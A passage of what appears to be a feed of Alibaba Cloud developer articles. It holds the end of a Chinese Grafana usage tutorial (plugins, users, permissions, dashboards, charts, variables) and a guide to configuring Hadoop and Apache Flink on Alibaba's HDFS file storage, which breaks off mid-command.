                  enabled=false#允许在HTTP反向代理上进行认证设置
                  header_name=X-WEBAUTH-USER
                  header_property=用户名
                  auto_sign_up =true#是否开启自动注册
                  ldap_sync_ttl=60
                  whitelist=#白名单
                  【analytics】
                  reporting_enabled=true#是否匿名发送使用分析stats.grafana.org
                  check_for_updates=true#更新检查设置
                  google_analytics_ua_id =#使用GA进行分析,填写GAID

                  1.2.2、插件安装

                  注:以饼图插件(PieChart)为例。

                  (1)查找插件

                  点击进入图标进入选中图形插件。
                  image.png
                  通过install Plugin按钮可实现在线安装(需登录)。

                  (2)命令安装

                  安装插件(上图中标记部分)
                  grafana-cli plugins install grafana-piechart-panel
                  安装完成重启服务
                  service grafana-server restart
                  image.png
                  安装成功,grafana插件列表中显示饼图插件。
                  image.png

                  (3)源码包安装

                  下载源码包
                  wget -nv https://grafana.com/api/plugins/grafana-piechart-panel/versions/latest/download -O /tmp/grafana-piechart-panel.zip
                  解压安装包
                  unzip -q /tmp/grafana-piechart-panel.zip -d /tmp
                  移动到目标路径
                  mv /tmp/grafana-piechart-panel-* /var/lib/grafana/plugins/grafana-piechart-panel
                  重启服务
                  service grafana-server restart

                  1.3、用户管理

                  1.3.1、添加用户

                  1)进入用户管理并选择添加用户
                  Configuration->Users->Invite
                  image.png
                  2)编辑需要添加的用户信息:
                  Email or Username:输入用户邮箱
                  Name:输入用户名
                  Role:配置用户权限(只读Viewer 编辑Editor 管理员Admin)
                  Send invite email:勾选时,会将新用户的设置密码的链接发到邮箱。
                  image.png
                  3)用户信息设置:
                  复制链接到浏览器的地址栏中访问(也可从邮件中收到链接)。
                  image.png
                  设置用户邮箱、账号、密码等信息。
                  image.png
                  完成后,系统自动跳转为新设置的用户登录。
                  image.png

                  1.3.2、权限管理

                  (1)权限规则

                  1)多用户管理规则:
                  Grafana通过支持创建多个组织、支对用户赋予不同权限。
                  支持通过将用户分配到不同组织,对其权限进行分隔,以此实现多租户功能。
                  每个组织都包含自己的仪表板,数据源和配置,并且不能在组织之间共享。
                  每个组织的数据源是不能复用的。即每个组织创建的数据源和DashBoard等资源为该组织独有,其他组织及其成员不可应用或访问。
                  同一个账号可关联不同组织,但不支持同时使用不同组织的内容。
                  用户账号登录的时候只看到其关联的组织的,且自己有权限的Dashboards。
                  与多个组织关联的账号需要使用归属不同组织的内容时,需要通过左上角的按钮切换组织。
                  默认仅允许具有管理员权限的账号创建新的组织,可以通过修改配置文件以允许非管理员用户创建组织。
                  普通账号可以被赋予管理员权限,管理员可对其他用户授权。
                  2)用户权限类型:
                  Admin:管理员。添加和编辑数据源,添加和编辑组织用户和团队,配置插件并设置组织设置。
                  Editor:编辑。创建和修改仪表板和警报规则,可以在特定文件夹和仪表板上禁用此功能,无法创建或编辑数据源,也无法邀请新用户。
                  Viewer:查看。查看仪表板可以在特定文件夹和仪表板上禁用此功能,无法创建或编辑仪表板或数据源。

                  (2)应用示例

                  1)添加组织org:
                  添加组织。Server Admin->orgs->New org。
                  image.png
                  创建组织。选择Create创建组织,窗口主动跳转值组织设置。
                  image.png
                  组织设置,组织名称与显示设置,包括Grafana显示的主题、用户默认主页等。
                  image.png
                  组织设置,可以更新组织名称或踢出组内成员。
                  image.png
                  将用户添加到组织。添加用户到组织后,该用户可使用该组织的资源(资源另有权限限制除外)。
                  image.png
                  2)Dashboard访问授权:
                  文件夹授权参考下文“管理文件夹”部分。
                  image.png
                  Dashboard的使用权限可继承自其归属的文件夹,也可主动设置。
                  image.png

                  2、添加数据源

                  Grafana呈现数据图表的前提是需要将Grafana与待呈现的数据表(或者索引)连接。
                  每个数据源为可视为一个数据表或索引,即通过配置将Grafana与对应的数据库连接,并制定对应的表或者索引。
                  当数据源创建完成或已存在后,方可以此为基础进行数据的统计与呈现。
                  数据源设置流程:Configuration->Data Sources->Add Data Sources->选择对应数据库类型->配置连接并保存。
                  以下通过添加Elasticsearch数据库中某索引为例。

                  2.1、选择数据源类型

                  (1)进入数据源设置界面并选择需要添加的数据源的数据(库)类型:
                  Configuration->Data source->Add data sources。
                  image.png
                  (2)添加指定数据库类型的数据源:
                  Add data sources->选择数据源类型->select进入编辑界面。
                  image.png

                  2.2、数据连接配置

                  进入数据源配置界面,添加数据源并测试。
                  设置数据源名称、连接方式、以及具体的数据索引或数据表。
                  image.png
                  image.png
                  (2)选择保存并测试(Save & Test),当系统显示“Index OK. Time field name OK”则说明设置成功。
                  image.png

                  3、创建仪表板

                  3.1、创建文件夹

                  注:文件夹为非必须存在的内容,即是否设置文件夹不影响使用。
                  用户可以通过Create功能直接创建文件夹,或在创建的Dashboard时同时创建文件夹。

                  3.1.1、直接创建文件夹

                  直接选择创建文件夹:
                  Create->Folder->Manage->New Dashboard Folder->添加Name->Create。
                  image.png

                  3.1.2、同时创建文件夹

                  在创建Dashboard的同时创建文件夹,并将该Dashboard自动归类在该文件夹:
                  Create->Dashboard->Save Dashboard >Save As->添加Dashboard名称->Folder选择New Floder->设置文件夹名称->创建文件夹Create->Save保存设置。
                  image.png

                  3.2、管理文件夹

                  3.2.1、 进入文件夹管理方式

                  (1)直接创建文件夹成功后,自动跳转至管理界面。
                  image.png
                  (2)通过“设置”按钮进入。
                  image.png

                  3.2.2、管理文件夹

                  (1)在文件夹中添加DashBoard。
                  image.png
                  (2)配置当前文件夹的用户权限。
                  image.png
                  注:也可通过AddPermission来添加Team或User。
                  (3)设置当前文件夹(例如更名、删除)。
                  image.png

                  3.3、创建仪表板Dashboard

                  3.3.1、通过文件夹(Folder)创建Dashboard

                  在文件夹管理界面创建Dashboard:
                  Dashboards/文件夹名称->Dashboards->Create Dashboard。
                  image.png

                  3.3.2、直接创建Dashboard

                  直接创建Dashboard并选择其归属的文件夹:
                  Create->Dashboard->save dashboard-> Save As->New Name设置dashboard名称->Folder设置归属文件夹(此处可不设置)->Save保存设置。
                  image.png

                  4、常用图表

                  在DashBoard界面,点击上沿工具栏中“柱形图标add panel”,生成编辑选项“New Panel”。
                  image.png

                  4.1、行标题

                  行标题为用于提示或分割图表区域的标签,添加方式为:
                  add panel-> New Panel->convert to row
                  可以点击“设置”图标(齿轮),编辑设置选项“Row Options”。
                  image.png

                  4.2、表格Table

                  4.2.1、选择添加表格

                  添加图表并选择图表类型:
                  add panel ->New Panel->Chooes Visualization->选择表格“Table”;
                  点击进入图表编辑或设置选项。
                  image.png

                  4.2.2、进入查询编辑Queries

                  进入Queries,选择数据源并配置所需字段,配置选项说明如下示例。

                  (1)添加数据源与指标

                  A、数据源选择:
                  image.png
                  B、指标配置:
                  若不存在预置查询则通过Add Query添加查询,查询选项条目如下列所示。
                  Metric:设置指标以及其计算方式。
                  Group by:设置分组方式。
                  Then by:添加分组方式。
                  Query:查询条件选框。其中可以加入语句用作过滤条件,与Group by中的Filters类似。
                  C、分组(Group by)方式:
                  1)分组方式eq1:以时间直方图(Date Histogram)分组
                  image.png
                  2)分组方式eq2:以筛选条件(Filters)分组
                  image.png
                  3)分组方式eq3:以条款(Terms)分组
                  image.png
                  此分组方式只在“Data>Table Transform”为“Table”时生效,此时Terms对应的字段将作为表头呈现。
                  image.png
                  D、时间设置
                  由于数据延时,图表中(特别是Table类),所显示的最近的时间点的数据可能为空,此时可通过“时移Time shift”设置来将显示的最近时间向前移动。
                  image.png
                  image.png

                  (2)常用函数

                  count:统计数据源中符合要求的记录数。
                  Average:均值。
                  Sum:求和。
                  Max:最大值。
                  Min:最小值。
                  Percentiles:百分位,用于计算分析数据的K百分比数值点。
                  Unique count:唯一计数,即某内容的出现次数。
                  Logs:日志。按照日志原有样式显示。

                  (3)Bucket Script函数

                  通过Bucket Script(分桶脚本)函数,对多个指标进行聚合运算,例如对多个指定的指标进行数学运算。
                  image.png

                  (4)Extended Stats函数

                  通过Extended Stats(聚合拓展)函数,可以对聚合的结果进行更近一步的分析,例如获取均值、最大值、最小值等。
                  image.png

                  4.2.3、进入视图编辑Visualization

                  (1)数据设置Data

                  设置数据显示方式,决定了表格以哪种方式呈现:
                  Visualization->Data-> Table Transform。
                  image.png
                  其中数据显示方式(Table Transform)选项包含以下选项:
                  1)time series to rows:按时间分行显示。同一行内显示“时间”“指标名”“指标值”。
                  2)time series to columns:按时间分列显示。同一行内显示“时间”“指标值”,“指标名”为“指标值”所对应对的列名。
                  3)time series aggregations:按时间聚合。将当前所选的时间范围内的指标聚合统计,不显示时间列。
                  4)annotations:注释。
                  5)Table:表格。
                  6)Json Data:Json数据。

                  (2)列设置Column Styles

                  注:根据字段类型(Type)不同,可选项目不同,例如Number格式字段可以配置告警。
                  1)字段类型eq1:字段类型为Date:
                  image.png
                  2)字段类型eq2:字段类型为Number(此时可以设置指标值在不同区间的颜色):
                  image.png
                  其中告警阈值设置为“0.1,0.2”即当数值小于“0.1”时为绿色,在“0.1,0.2”之间时为橙色,大于“0.2”时为红色(颜色对应顺序可调整)。
                  image.png

                  (3)添加列设置

                  1)点击添加列设置“Add column style”新增列设置选项。
                  2)选择添加列后,系统自动增加“Options”选择面板,配置步骤与上述相同。
                  3)当“Apply to columns named”设置为“/.*/”时,意为统配除已设置好的字段之外的其他所有字段,且该设置应在此类设置的最后一条,否则在它之后的其他设置将不再生效。

                  4.2.4、进入图表管理

                  进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
                  image.png
                  完成后图表样式为:
                  image.png

                  4.2.5、图表Table导出

                  图表标题->More ->Expore CSV。
                  image.png

                  4.3、仪表盘Gauge

                  4.3.1、选择添加仪表盘

                  添加图表并选择图表类型:
                  add panel ->New Panel->Chooes Visualization->选择仪表盘“Gauge”;
                  点击进入图表编辑或设置选项。
                  image.png

                  4.3.2、进入查询编辑Queries

                  进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述Table步骤类似,指标函数与用法基本相同。
                  image.png

                  4.3.3、进入视图编辑Visualization

                  (1)呈现设置

                  Display:设置数据显示方式。
                  1)Show为图表显示方式。其中Caculation为将涉及的数据统计计算后呈现;All Values为将涉及的所有数值依次全部显示(最终显示多个仪表盘)。
                  2)Calc为指标值的汇聚方式,例如显示最后一个非空值、显示均值、峰值等。
                  Field:设置图中呈现内容,包括指标标题、数据单位、仪表盘数值的起止范围,显示数据的保留小数位数。
                  Thresholds:设置指标值在不同的取值区间内按照指定的颜色显示。数值由低到高添加,颜色可通过调色板选择调整。
                  image.png

                  (2)设置映射值Value mappings

                  Value mappings:可以设置一个数值(指标类型为数值value)或者一个范围(指标类型为百分比range),当图中指标值在所设置的数值范围内或相等,则图中显示预设(Text中)内容。
                  注:该设置将会影响数值的正常显示。
                  image.png

                  4.2.4、进入图表管理

                  进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
                  image.png
                  完成后图表样式为:
                  image.png

                  4.4、柱形图BarGrauge

                  4.4.1、选择添加柱形图

                  添加图表并选择图表类型:
                  add panel ->New Panel->Chooes Visualization->选择柱形图“Bar Gauge”;
                  点击进入图表编辑或设置选项。
                  image.png

                  4.4.2、进入查询编辑Queries

                  进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述步骤类似,指标函数与用法基本相同。
                  需注意分组的设置,Order By设置中包含有DocCount根据记录条数,TermValue分组字段的值,以及之前设置的某一计算结果。
                  image.png

                  4.5.3、进入视图编辑Visualization

                  (1)呈现设置

                  Display:设置数据显示方式。
                  1)show为图表显示方式。其中Caculation为将涉及的数据统计计算后呈现;All Values为将涉及的所有数值依次全部显示(最终显示多个仪表盘)。
                  2)Calc为指标值的汇聚方式,例如显示最后一个非空值、显示均值、峰值等。
                  3)Orientation为柱形图方向。horizontal为横向;vertical为垂直方向。
                  4)Mode为显示模式。其中gradient为阶梯状;petro LCD为液晶格式;Basic为基础格式。
                  Field:设置图中呈现内容,包括指标标题、数据单位、仪表盘数值的起止范围,显示数据的保留小数位数。
                  Thresholds:设置指标值在不同的取值区间内按照指定的颜色显示。数值由低到高添加,颜色可通过调色板选择调整。
                  image.png

                  (2)设置映射值Value mappings

                  Value mappings:设置一个数值(指标类型为数值value)或者一个范围(指标类型为百分比range),当图中指标值在所设置的数值范围内或相等,则图中显示预设(Text中)内容。效果与上述“仪表盘”类似,示例略。

                  4.2.4、进入图表管理

                  进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
                  image.png
                  完成后图表样式为:
                  image.png

                  4.5、趋势图Graph

                  4.5.1、选择添加趋势图

                  添加图表并选择图表类型:
                  add panel ->New Panel->Chooes Visualization->选择趋势图“Graph”;
                  点击进入图表编辑或设置选项。
                  image.png

                  4.5.2、进入查询编辑Queries

                  进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述步骤类似,指标函数与用法基本相同。
                  分组设置中,Order By设置中包含有DocCount根据记录条数,TermValue分组字段的值,以及之前设置的某一计算结果。
                  image.png
                  当图中有多行(组)显示且具有多条筛选条件时,其筛选条件将与分组值同时在悬浮标签中展示,此时可通过设置Lable值来调整显示内容,否则筛选条件将直接被原样显示,影响展示效果。
                  image.png

                  4.5.3、进入视图编辑Visualization

                  (1)呈现设置

                  Draw Modes与Mode Options:设置数据显示方式。
                  Hover tooltip:设置悬浮选框中的显示模式。
                  Stacking & Null value:设置堆栈格式和空值的处理方式。
                  image.png

                  (2)坐标轴设置Axes

                  Y轴包含左右两个坐标轴,通过show管理是否显示。
                  具体设置方式如下图。
                  注:此处保留小数位设置Decimals,仅控制坐标轴中数值显示,与其他悬浮和下方显示的数值无关。
                  image.png

                  (3)说明设置Legend

                  图表之外添加的指标标签,具体选项入下图所示。
                  注1:此处保留小数位设置Decimals,控制图中标签显示,包括下方横标签和悬浮标签的数位。
                  注2:此处options中Show设置仅控制下方图例标签显示,不影响图中悬浮标签。
                  image.png
                  效果如下图所示。
                  image.png

                  (4)扩展:副(右)坐标轴Right Y设置

                  当存在两条数量级差距巨大的指标曲线时,可能需要启用右侧坐标轴。
                  使用右侧坐标轴时,首先需在“呈现设置选框组”中启用“替代列series override”,即创建另一条曲线或指标的呈现规则,并在此规则中将名称(名称alias or regex)指向需要呈现的指标。设置该指标的呈现为第二个Y轴(Y-axis:2),同时设置其他的呈现要求。
                  image.png
                  上述设置完成后,“坐标轴设置Axes”中的“Right Y”选项才能生效。
                  image.png
                  设置完成后,指标曲线由双坐标呈现。
                  image.png
                  4.5.4、进入图表管理
                  进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
                  image.png
                  完成后图表样式为:
                  image.png

                  4.6、饼/环形图Pie Chart

                  4.6.1、选择添加趋势图

                  添加图表并选择图表类型:
                  add panel ->New Panel->Chooes Visualization->选择饼图“Pie chart”;
                  注:此插件并非grafana初始自带,需安装后方可使用。
                  点击进入图表编辑或设置选项。
                  image.png

                  4.6.2、进入查询编辑Queries

                  进入Queries,选择数据源并配置所需字段。数据源选择与指标设置与上述步骤类似,指标函数与用法基本相同。
                  image.png
                  当图中提示“Could not draw pie with labels contained inside canvas”时,原因多为绘图空间较小,图形无法呈现,此时并非配置或语法错误,向下拖动下边界扩大绘图区域即可。
                  image.png

                  4.6.3、进入视图编辑Visualization

                  Type:设置数据显示方式。包括饼形图pie和环形图donut。
                  Value:设置显示的数值的类型。包括总计total,最大值max,最小值min,平均值avg,当前值current。
                  Position:设置标签的显示位置。包括在悬浮在图表上on graph,在图表下方under graph,在图表右侧right side。
                  image.png

                  4.6.4、进入图表管理

                  进入General,设置表名Title,也可以设置表背景是否透明Transparent,或添加表注释(描述)Description。
                  image.png
                  完成后图表样式为:
                  image.png

                  4.7、筛选条件/变量Variables

                  在Grafana可视化工具中,通过Variables template配置实现类似Kibana的关联选择钻取,即创建“条件筛选框”或“动态级联菜单”。
                  进入Dashboard设置中的变量设置:Settings->Variables->Add variable
                  image.png

                  4.7.1、创建数据源变量Datasource

                  如果Dashboard中图表所需的数据分别存储于不同的数据源中,即需的各变量单独存储在一个Datasource数据源中,则需要新建一个数据源变量。
                  若所有图表的数据源均为同一个则可以直接创建查询变量。
                  配置选项如下:
                  1)General=总则。
                  Name:变量名称,要求变量名唯一,且不包含空白字符。
                  Label:变量在下拉列表中中的名称。
                  Hide:隐藏该变量的下拉选择框,即在Dashboard中不展示。
                  Type:定义变量类型,选择DataSource。
                  Data source options=数据源选项。
                  Type:数据源类型。
                  Instance name filter:实例(数据源)名称选择或匹配规则,默认将会匹配所有上述类型的数据源。
                  2)选择设置Selection Options。
                  Multi-value:是否允许多选。
                  Include All option:是否包括所有选项。
                  3)Preview of values=匹配到的数据源名称预览。
                  配置示例:
                  image.png
                  选择“add”添加该变量。
                  image.png

                  4.7.2、创建查询变量Query

                  如果变量的值需要通过查询得到,所以要新建查询变量Query。
                  配置选项如下:
                  1)General=总则。
                  Name:变量名称,要求变量名唯一,且不包含空白字符。
                  Label:变量在下拉列表中中的名称。
                  Hide:隐藏该变量的下拉选择框,即在Dashboard中不展示。
                  Type:定义变量类型,选择 Query。
                  2)Query Options=查询选项。
                  Data source:数据源名称。
                  Refresh:更新变量选择列表(变量下拉列表中的值)。可选值 never(从不)、On Dashboard Load(Dashboard加载完成之前更新,这会减慢加载速度) 、On Time Range Change(如果变量选项包含一个时间范围过滤,即和时间相关,或者依赖dashboard时间范围选择)。
                  Query:查询条件。根据数据源不同使用不同的查询方式,表达式书写规则因数据源不同而不同, 比如mysql,InfluxDB、ES数据库都用各自的查询语法。
                  Regex:正则表达式.用于过滤Query返回的数据(可能我们只需要Query返回中的部分数据,可选。
                  Sort 定义下拉选项的顺序.设置为Diasble则表示保持按查询返回的数据排序。
                  3)选择设置Selection Options。
                  Multi-value:是否允许多选。
                  Include All option:是否包括所有选项.。即添加一个 All 选项,该选项表示包含所有变量值
                  Custom all value:默认添加的ALL选项会包含同查询表达式绑定的所有值,这些值可能会有很多,这会带来性能问题,这种情况下,我们可以指定一个自定义all值,比如一个通配符正则表达式(globs 或 lucene 语法的表达式),以减少all所包含的数据量。
                  4)Preview of values=匹配到的数据源名称预览。
                  配置示例:
                  image.png
                  添加成功:
                  image.png
                  Dashboard显示:
                  image.png

                  4.7.3、变量应用于图表

                  当变量设置完成后,Dashboard上方将呈现已设置的变量选择框。但是此时的变量并不能影响下发图表的呈现内容。而是需要将已设置的变量在每个图表中进行配置。
                  以Elasticsearch数据类型为例:
                  编辑图表,在Query部分添加映射条件。即通过变量名获取变值,并赋值给图表中使用的字段。
                  例如下图中示例为:
                  city_name:$city_name_var
                  通过上述设置的变量名city_name_var,获取变量$city_name_var,并指向本图表中使用的字段city_name。
                  当有多个变量同时作用于一个图表时,变量之间通过逻辑关系AND或OR连接(注:AND或OR需大写)。
                  例如下图中示例:
                  city_name:$city_name_var AND manufacturer:$manufacturer_var
                  image.png
                  效果如图所示:
                  image.png
                  筛选条件后:
                  image.png
                  注:当需要将某几个数据源从多个名称相近的数据源中独立取出使用时,不妨尝试将需要的数据源重新接入,然后将其名称按照一定的规律设置,然后通过设置datasource变量来实现对指定数据源的应用。
                  image.png
                  image.png
                  image.png

                  附录

                  1、术语

                  Name Describe
                  Dashboard A set of one or more panels, organized and arranged into one or more rows, that provide an at-a-glance view of related information.
                  Data source A file, database, or service providing the data. Grafana supports a several data sources by default, and can be extended to support additional ones through plugins.
                  Graph A commonly-used visualization that displays data as points, lines, or bars.
                  Panel Basic building block in Grafana, composed by a query and a visualization. Can be moved and resized within a dashboard.
                  Plugin An extension of Grafana that allows users to provide additional functionality to enhance their experience. The types of plugins currently supported are:
                  Plugin App plugin:Extends Grafana with a customized experience. It includes a set of panel and data source plugins, as well as custom pages.
                  Plugin Data source plugin: Extends Grafana with supports additional data sources in Grafana.
                  Plugin Panel plugin:Extends Grafana with additional visualization options.
                  Query Used to request data from a data source. The structure and format of the query depend on the specific data source.
                  Time series A series of measurements, ordered by time. Time series are stored in data sources and returned as the result of a query.
                  Visualization A graphical representation of query results.

                  2、参考资料

                  官方文档https://grafana.com/docs/grafana/latest/
                  安装工具https://grafana.com/docs/grafana/latest/installation/rpm/
                  安装工具https://blog.csdn.net/kai172142xiang/article/details/102770394
                  安装工具https://www.cnblogs.com/imyalost/p/9873641.html
                  安装工具https://blog.csdn.net/kai172142xiang/article/details/102770394
                  安装工具https://www.jianshu.com/p/c94d3b57f529?from=timeline&isappinstalled=0
                  环境配置https://blog.csdn.net/qq_39135609/article/details/82418461
                  安装插件https://grafana.com/grafana/plugins?utm_source=grafana_plugin_list
                  安装插件https://grafana.com/docs/grafana/latest/plugins/installation/
                  安装插件https://baijiahao.baidu.com/s?id=1603802149984328702&wfr=spider&for=pc
                  变量设置https://grafana.com/docs/grafana/latest/reference/templating/
                  变量设置https://www.cnblogs.com/shouke/p/10420836.html
                  变量设置https://play.grafana.org/d/000000015/elasticsearch-templated?orgId=1
                  视频教程https://www.bilibili.com/video/BV1Vb411A7zt?share_medium=android&share_source=more&bbid=XY5D0955D216172C8DFA45ADD1B0BD2C2E1DF&ts=1585630230167

                  ]]>
                  在文件存储 HDFS 上使用 Apache Flink-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 111.jpg
                  镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

                  一、准备工作

                  在文件存储HDFS上使用Apache Flink,需要先完成以下准备工作。

                  说明 本文档的操作步骤中涉及的安装包版本号、文件夹路径,请根据实际情况进行替换。

                  1. 开通文件存储HDFS服务并创建文件系统实例和挂载点,详情请参见HDFS快速入门
                  2. 在计算节点上安装JDK。版本不能低于1.8。
                  3. 在计算节点上安装Scala。Scala下载地址:官方链接,其版本要与使用的Apache Flink版本相兼容。
                  4. 下载Apache Hadoop压缩包。Apache Hadoop下载地址:官方链接。建议您选用的Apache Hadoop版本不低于2.7.2,本文档中使用的Apache Hadoop版本为Apache Hadoop 2.7.2。
                  5. 下载Apache Flink压缩包。在文件存储HDFS上使用的Flink的版本必须为1.9.0及以上,Apache Flink下载地址:官方链接。本文档中使用的Flink版本为官方提供的预编译版本Flink 1.9.0。

                  二、配置Apache Hadoop

                  1、执行如下命令解压Apache Hadoop压缩包到指定文件夹。

                  tar -zxvf hadoop-2.7.2.tar.gz -C /usr/local/

                  2、修改hadoop-env.sh配置文件。

                  • 执行如下命令打开hadoop-env.sh配置文件。
                  vim /usr/local/hadoop-2.7.2/etc/hadoop/hadoop-env.sh
                  • 配置JAVA_HOME目录,如下所示。
                  export JAVA_HOME=/usr/java/default

                  3、修改core-site.xml配置文件。

                  • 执行如下命令打开core-site.xml配置文件。
                  vim /usr/local/hadoop-2.7.2/etc/hadoop/core-site.xml
                  • 在core-site.xml配置文件中,配置如下信息,详情请参见挂载文件系统
                  <configuration>
                  <property>
                       <name>fs.defaultFS</name>
                       <value>dfs://x-xxxxxxxx.cn-xxxxx.dfs.aliyuncs.com:10290</value>
                       <!-- 该地址填写您的挂载点地址 -->
                  </property>
                  <property>
                       <name>fs.dfs.impl</name>
                       <value>com.alibaba.dfs.DistributedFileSystem</value>
                  </property>
                  <property>
                       <name>fs.AbstractFileSystem.dfs.impl</name>
                       <value>com.alibaba.dfs.DFS</value>
                  </property>
                  <property>
                       <name>io.file.buffer.size</name>
                       <value>8388608</value>
                  </property>
                  <property>
                       <name>alidfs.use.buffer.size.setting</name>
                       <value>true</value>
                  </property>
                  <property>
                       <name>dfs.usergroupservice.impl</name>
                       <value>com.alibaba.dfs.security.LinuxUserGroupService.class</value>
                  </property>
                    <property>
                       <name>dfs.connection.count</name>
                       <value>16</value>
                  </property>
                  </configuration>

                  4、修改mapred-site.xml配置文件。

                  • 执行如下命令打开mapred-site.xml配置文件。
                  vim /usr/local/hadoop-2.7.2/etc/hadoop/mapred-site.xml
                  • 在mapred-site.xml配置文件中,配置如下信息。
                  <configuration>
                  <property>
                        <name>mapreduce.framework.name</name>
                        <value>yarn</value>
                  </property>
                  </configuration>

                  5、修改yarn-site.xml配置文件。

                  • 执行如下命令打开yarn-site.xml配置文件。
                  vim /usr/local/hadoop-2.7.2/etc/hadoop/yarn-site.xml
                  • 在yarn-site.xml配置文件中,配置如下信息。
                  <configuration>
                  <property>
                    <name>yarn.resourcemanager.hostname</name>
                    <value>xxxx</value>
                    <!-- 该地址填写集群中yarn的resourcemanager的hostname -->
                  </property>
                  <property>
                      <name>yarn.nodemanager.aux-services</name>
                      <value>mapreduce_shuffle</value>
                  </property>
                  <property>
                    <name>yarn.nodemanager.aux-services.mapreduce.shuffle.class</name>
                    <value>org.apache.hadoop.mapred.ShuffleHandler</value>
                  </property>
                  <property>
                    <name>yarn.nodemanager.resource.memory-mb</name>
                    <value>16384</value>
                      <!-- 根据您当前的集群能力进行配置此项 -->
                  </property>
                  <property>
                    <name>yarn.nodemanager.resource.cpu-vcores</name>
                    <value>4</value>
                       <!-- 根据您当前的集群能力进行配置此项 -->
                  </property>
                  <property>
                    <name>yarn.scheduler.maximum-allocation-vcores</name>
                    <value>4</value>
                      <!-- 根据您当前的集群能力进行配置此项 -->
                  </property>
                  <property>
                    <name>yarn.scheduler.minimum-allocation-mb</name>
                    <value>3584</value>
                      <!-- 根据您当前的集群能力进行配置此项 -->
                  </property>
                  <property>
                    <name>yarn.scheduler.maximum-allocation-mb</name>
                    <value>14336</value>
                      <!-- 根据您当前的集群能力进行配置此项 -->
                  </property>
                  </configuration>

                  6、修改slaves配置文件。

                  • 执行如下命令打开slaves配置文件。
                  vim /usr/local/hadoop-2.7.2/etc/hadoop/slaves
                  • 在slaves配置文件中,配置如下信息。
                  node1
                  node2

                  7、配置环境变量。

                  • 执行如下命令打开/etc/profile配置文件。
                  vim /etc/profile
                  • 在/etc/profile配置文件中,配置如下信息。
                  export HADOOP_HOME=/usr/local/hadoop-2.7.2
                  export HADOOP_CLASSPATH=$($HADOOP_HOME/bin/hadoop classpath)
                  export HADOOP_CONF_DIR=$HADOOP_HOME/etc/hadoop
                  export PATH=$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$PATH
                  • 执行如下命令使配置生效。
                  source /etc/profile

                  8、执行如下命令配置文件存储HDFS的SDK。您可以单击下载文件存储HDFS的SDK(此处以aliyun-sdk-dfs-1.0.3.jar为例),将其部署在Apache Hadoop生态系统组件的CLASSPATH上,详情请参见挂载文件系统

                  cp aliyun-sdk-dfs-1.0.3.jar  /usr/local/hadoop-2.7.2/share/hadoop/hdfs

                  9、执行如下命令将${HADOOP_HOME}文件夹同步到集群的其他节点。

                  scp -r hadoop-2.7.2/ root@node2:/usr/local/

                  三、验证Apache Hadoop配置

                  完成Apache Hadoop配置后,不需要格式化namenode,也不需要使用start-dfs.sh来启动HDFS相关服务。如需使用yarn服务,只需在resourcemanager节点启动yarn服务,具体验证Apache Hadoop配置成功的方法请参见验证安装

                  四、编译flink-shade

                  1、下载 flink-shade源码到指定目录。

                  git clone https://github.com/apache/flink-shaded.git  ~/flink-shade

                  2、修改flink-shade源码中的pom文件。修改Hadoop版本为您的集群中使用的版本,在本文档中使用的Hadoop版本为2.7.2。

                  vim  ~/flink-shaded/flink-shaded-hadoop-2-parent/pom.xml

                  1.png
                  在依赖项中添加文件存储HDFS SDK,在本文档使用文件存储HDFS SDK版本为1.0.3。

                  vim  ~/flink-shaded/flink-shaded-hadoop-2-parent/flink-shaded-hadoop-2/pom.xml
                  ...
                  <dependency>
                         <groupId>com.aliyun.dfs</groupId>
                         <artifactId>aliyun-sdk-dfs</artifactId>
                         <version>1.0.3</version>
                  </dependency>
                  ...

                  2.png
                  3、编译打包。

                  cd ~/flink-shaded
                  mvn package -Dshade-sources

                  五、配置Apache Flink

                  1、执行如下命令解压Flink压缩包到指定文件夹。

                  tar -zxvf flink-1.9.0-bin-scala_2.11.tgz -C /usr/local/

                  2、拷贝flink-shade编译的flink-shaded-hadoop-2-uber-x.y.z.jar到Flink的lib目录下。

                  cp  ~/flink-shaded/flink-shaded-hadoop-2-parent/flink-shaded-hadoop-2-uber/target/flink-shaded-hadoop-2-uber-2.7.2-11.0.jar /usr/local/flink-1.9.0/lib/

                  说明

                  • 在使用Apache Flink之前必须在您的集群环境变量中配置HADOOP_HOME,HADOOP_CLASSPATH和HADOOP_CONF_DIR,详情请参见配置Apache Hadoop中的步骤7:配置环境变量。
                  • 如果您使用的Flink版本中已经包含flink-shaded-hadoop-2-uber-x.y.z.jar,则需要使用编译flink-shade中编译的flink-shaded-hadoop-2-uber-x.y.z.jar进行替换。
                  • 如果您需要对Flink进行额外的配置,请参考官方文档:配置操作指南

                  六、验证Apache Flink配置

                  使用Flink自带的WordCount.jar对文件存储HDFS上的数据进行读取,并将计算结果写入到文件存储HDFS,在测试之前需要先启动yarn服务。
                  1、生成测试数据。此处使用Apache Hadoop 2.7.2自带的jar包hadoop-mapreduce-examples-2.7.2.jar中的randomtextwriter方法在文件存储HDFS上生成测试数据。

                  /usr/local/hadoop-2.7.2/bin/hadoop jar  /usr/local/hadoop-2.7.2/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.2.jar 
                  randomtextwriter 
                  -D mapreduce.randomtextwriter.totalbytes=10240 
                  -D mapreduce.randomtextwriter.bytespermap=1024 
                  -D mapreduce.job.maps=4  
                  -D mapreduce.job.reduces=2  
                  dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/input 

                  其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
                  2、查看在文件存储HDFS上生成的测试数据。

                  /usr/local/hadoop-2.7.2/bin/hadoop fs -cat dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/input/*

                  其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
                  3、提交wordcount程序。

                  /usr/local/flink-1.9.0/bin/flink run 
                  -m yarn-cluster -yn 1 -yjm 1024 -ytm 1024 
